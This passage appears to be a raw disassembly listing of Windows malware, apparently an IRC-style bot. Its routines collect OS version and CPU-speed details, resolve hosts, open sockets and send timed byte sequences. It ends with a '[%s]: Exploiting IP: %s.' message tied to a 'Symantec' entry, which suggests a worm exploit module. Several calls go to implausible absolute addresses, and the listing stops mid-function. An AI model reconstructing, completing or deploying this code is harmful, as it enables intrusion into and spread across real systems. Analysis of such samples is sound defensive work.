		jnz	short loc_41AE70
		jmp	short loc_41AE60
; ---------------------------------------------------------------------------


loc_41AE46:				; CODE XREF: sub_41ADDD+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AE70
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE37
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AE64


loc_41AE60:				; CODE XREF: sub_41ADDD+67j
		push	3
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE64:				; CODE XREF: sub_41ADDD+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AE70
		push	7


loc_41AE6F:				; CODE XREF: sub_41ADDD+4Fj
					; sub_41ADDD+5Cj ...
		pop	esi


loc_41AE70:				; CODE XREF: sub_41ADDD+25j
					; sub_41ADDD+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41ADDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE75	proc near		; CODE XREF: sub_41AF2B+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AE7D:				; CODE XREF: sub_41AE75+2Fj
					; sub_41AE75+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2670EE1h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DBB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AE7D
		jb	short loc_41AEAC
		cmp	ebx, esi
		ja	short loc_41AE7D


loc_41AEAC:				; CODE XREF: sub_41AE75+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DC20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF1F
		jb	short loc_41AECB
		cmp	esi, 50h
		jnb	short loc_41AED0


loc_41AECB:				; CODE XREF: sub_41AE75+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AED0:				; CODE XREF: sub_41AE75+54j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AEDB
		cmp	esi, 47h
		jnb	short loc_41AEE0


loc_41AEDB:				; CODE XREF: sub_41AE75+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AEE0:				; CODE XREF: sub_41AE75+64j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AEEB
		cmp	esi, 37h
		jnb	short loc_41AEF0


loc_41AEEB:				; CODE XREF: sub_41AE75+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AEF0:				; CODE XREF: sub_41AE75+74j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AEFB
		cmp	esi, 26h
		jnb	short loc_41AF00


loc_41AEFB:				; CODE XREF: sub_41AE75+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF00:				; CODE XREF: sub_41AE75+84j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AF0B
		cmp	esi, 1Eh
		jnb	short loc_41AF10


loc_41AF0B:				; CODE XREF: sub_41AE75+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF10:				; CODE XREF: sub_41AE75+94j
		test	ecx, ecx
		ja	short loc_41AF1F
		jb	short loc_41AF1B
		cmp	esi, 0Ah
		jnb	short loc_41AF1F


loc_41AF1B:				; CODE XREF: sub_41AE75+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF1F:				; CODE XREF: sub_41AE75+4Dj
					; sub_41AE75+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF2B	proc near		; CODE XREF: sub_401AC7+2711p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43B4B8
		mov	[ebp+var_CC], 94h
		call	near ptr 26D05ADh
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AFB2
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AF8E
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AF78
		mov	[ebp+var_4], offset dword_431630


loc_41AF78:				; CODE XREF: sub_41AF2B+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B02D
		mov	[ebp+var_4], offset dword_43162C
		jmp	short loc_41AFFE
; ---------------------------------------------------------------------------


loc_41AF8E:				; CODE XREF: sub_41AF2B+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AFA0
		mov	[ebp+var_4], offset dword_431628
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFA0:				; CODE XREF: sub_41AF2B+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AFEE
		mov	[ebp+var_4], offset dword_431624
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFB2:				; CODE XREF: sub_41AF2B+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AFEE
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFCC
		mov	[ebp+var_4], offset dword_431620
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFCC:				; CODE XREF: sub_41AF2B+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AFDE
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41AFF5
; ---------------------------------------------------------------------------


loc_41AFDE:				; CODE XREF: sub_41AF2B+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AFF5


loc_41AFEE:				; CODE XREF: sub_41AF2B+7Cj
					; sub_41AF2B+8Ej
		mov	[ebp+var_4], offset dword_431614


loc_41AFF5:				; CODE XREF: sub_41AF2B+73j
					; sub_41AF2B+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B02D


loc_41AFFE:				; CODE XREF: sub_41AF2B+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B02D
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_4363DC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B02D:				; CODE XREF: sub_41AF2B+54j
					; sub_41AF2B+D1j ...
		mov	ax, word_437BD4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4C91E4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B066
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B066:				; CODE XREF: sub_41AF2B+12Cj
		push	[ebp+arg_4]
		call	sub_40A9FA
		pop	ecx
		push	eax
		call	dword_4C9344
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4C92BC
		cmp	eax, ebx
		jz	short loc_41B08F
		push	dword ptr [eax]
		jmp	short loc_41B094
; ---------------------------------------------------------------------------


loc_41B08F:				; CODE XREF: sub_41AF2B+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B094:				; CODE XREF: sub_41AF2B+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C006
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 26709B5h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A4A0
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 273141Eh
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2850000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C151
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416D8D
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41AD74
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AE75
		push	edx
		push	eax
		push	offset dword_43A3C4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C100
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1DF	proc near		; CODE XREF: sub_401AC7+273Fp
					; sub_401AC7+71F4p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		cmp	dword_4C93EC, 0
		jnz	short loc_41B253
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4C91C8
		test	eax, eax
		jnz	short loc_41B234
		lea	eax, [ebp+var_8C]
		push	offset dword_43A518
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41B234:				; CODE XREF: sub_41B1DF+40j
		test	[ebp+var_C], 1
		jz	short loc_41B24C
		push	offset dword_43A510


loc_41B23F:				; CODE XREF: sub_41B1DF+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_41B272
; ---------------------------------------------------------------------------


loc_41B24C:				; CODE XREF: sub_41B1DF+59j
		push	offset off_43A50C
		jmp	short loc_41B23F
; ---------------------------------------------------------------------------


loc_41B253:				; CODE XREF: sub_41B1DF+28j
		mov	esi, offset off_43A508
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41C006
		add	esp, 10h


loc_41B272:				; CODE XREF: sub_41B1DF+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A4C4
		push	200h
		push	[ebp+arg_0]
		call	sub_41C100
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B1DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2A5	proc near		; DATA XREF: sub_401AC7+75A0o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A5F8
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BD10
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BD10
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4C9200
		test	eax, eax
		jz	loc_41B43F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B37C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B37C:				; CODE XREF: sub_41B2A5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B39A
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B39A:				; CODE XREF: sub_41B2A5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B3B4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B3B4:				; CODE XREF: sub_41B2A5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B3CE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_41B3CE:				; CODE XREF: sub_41B2A5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4C92B4
		call	dword_4C92D8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B457
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4C92CC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B45E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4C9278
		test	eax, eax
		jz	short loc_41B438
		push	offset dword_43A5DC
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B438:				; CODE XREF: sub_41B2A5+18Aj
		push	offset unk_43A5A0
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B43F:				; CODE XREF: sub_41B2A5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A584
		push	eax
		call	sub_41C006
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B471
; ---------------------------------------------------------------------------


loc_41B457:				; CODE XREF: sub_41B2A5+153j
		push	offset unk_43A558
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B45E:				; CODE XREF: sub_41B2A5+17Bj
		push	offset unk_43A528


loc_41B463:				; CODE XREF: sub_41B2A5+191j
					; sub_41B2A5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41B471:				; CODE XREF: sub_41B2A5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B49C
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409862
		add	esp, 14h


loc_41B49C:				; CODE XREF: sub_41B2A5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	esi
		call	dword_4C9338
		push	[ebp+var_4]
		call	dword_4C9338
		push	[ebp+var_1D8]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B4CF	proc near		; CODE XREF: sub_401AC7+4FA4p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4D960C
		push	0
		push	esi
		call	sub_41BD10
		push	[esp+10h+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C100
		add	esp, 1Ch
		pop	esi
		retn
sub_41B4CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4FB	proc near		; CODE XREF: ___:0041B7E3p
					; ___:0041B800p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4CC030
		lea	edi, [ebp+var_C]
		mov	ax, word_43A5FC
		movsd
		movsb
		mov	esi, offset dword_4D970C
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_433ED8
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4C91BC
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B5C7
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B54D:				; CODE XREF: sub_41B4FB+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B56D
		dec	eax
		jnz	short loc_41B5BB
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B581
; ---------------------------------------------------------------------------


loc_41B56D:				; CODE XREF: sub_41B4FB+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B581:				; CODE XREF: sub_41B4FB+70j
		push	eax
		push	edi
		call	dword_4C9354
		push	ebx
		call	sub_41B960
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B59D
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B5A2
; ---------------------------------------------------------------------------


loc_41B59D:				; CODE XREF: sub_41B4FB+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B5A2:				; CODE XREF: sub_41B4FB+A0j
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	ebx
		call	sub_41B960
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4C9354


loc_41B5BB:				; CODE XREF: sub_41B4FB+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B54D
		pop	ebx
		jmp	short loc_41B63D
; ---------------------------------------------------------------------------


loc_41B5C7:				; CODE XREF: sub_41B4FB+42j
		dec	eax
		jz	short loc_41B5E6
		dec	eax
		jnz	short loc_41B63D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5FD
; ---------------------------------------------------------------------------


loc_41B5E6:				; CODE XREF: sub_41B4FB+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5FD:				; CODE XREF: sub_41B4FB+E9j
		push	eax
		push	edi
		call	dword_4C9354
		push	[ebp+arg_4]
		call	sub_41B960
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B61B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B61B:				; CODE XREF: sub_41B4FB+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B620:				; CODE XREF: sub_41B4FB+11Ej
		push	eax
		push	edi
		call	dword_4C9354
		push	esi
		push	[ebp+arg_4]
		call	sub_41B960
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4C9354


loc_41B63D:				; CODE XREF: sub_41B4FB+CAj
					; sub_41B4FB+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B4FB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43A614
		lea	edi, [ebp-38h]
		mov	ax, word_433ED8
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43A610
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4CC030
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43A60C
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43A608
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43A604
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4C9384
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B6C4
		push	eax
		call	dword_4C939C


loc_41B6C4:				; CODE XREF: ___:0041B6BBj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4C9344
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4C9304
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		test	eax, eax
		jnz	loc_41B7C0


loc_41B6FC:				; CODE XREF: ___:0041B76Ej
					; ___:0041B7A5j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4C931C
		cmp	eax, esi
		jle	loc_41B7CE
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B7CE
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B770
		dec	eax
		jz	short loc_41B73E
		dec	eax
		jz	short loc_41B7AA
		jmp	short loc_41B7A0
; ---------------------------------------------------------------------------


loc_41B73E:				; CODE XREF: ___:0041B737j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7C0
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4C9354
		push	2
		pop	edi
		jmp	short loc_41B6FC
; ---------------------------------------------------------------------------


loc_41B770:				; CODE XREF: ___:0041B734j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7C0
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4C9354
		push	1
		pop	edi


loc_41B7A0:				; CODE XREF: ___:0041B73Cj
		cmp	edi, 3
		jz	short loc_41B7CE
		jmp	loc_41B6FC
; ---------------------------------------------------------------------------


loc_41B7AA:				; CODE XREF: ___:0041B73Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B7CE


loc_41B7C0:				; CODE XREF: ___:0041B6F6j
					; ___:0041B752j ...
		push	ebx
		call	dword_4C939C
		xor	eax, eax
		jmp	loc_41B957
; ---------------------------------------------------------------------------


loc_41B7CE:				; CODE XREF: ___:0041B721j
					; ___:0041B72Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4C9354
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B4FB
		mov	esi, dword_427088
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4D960C
		push	edi
		call	sub_41B960
		test	eax, eax
		pop	ecx
		jbe	short loc_41B86E


loc_41B831:				; CODE XREF: ___:0041B86Cj
		mov	eax, [ebp-4]
		movsx	eax, byte_4D960C[eax]
		push	eax
		push	offset dword_43A600
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C100
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B960
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B831


loc_41B86E:				; CODE XREF: ___:0041B82Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B887:				; CODE XREF: ___:0041B89Ej
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B887
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B8D8:				; CODE XREF: ___:0041B8F0j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B4FB
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B8D8
		push	ebx
		call	dword_4C939C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C100
		push	edi
		lea	eax, [ebp-288h]
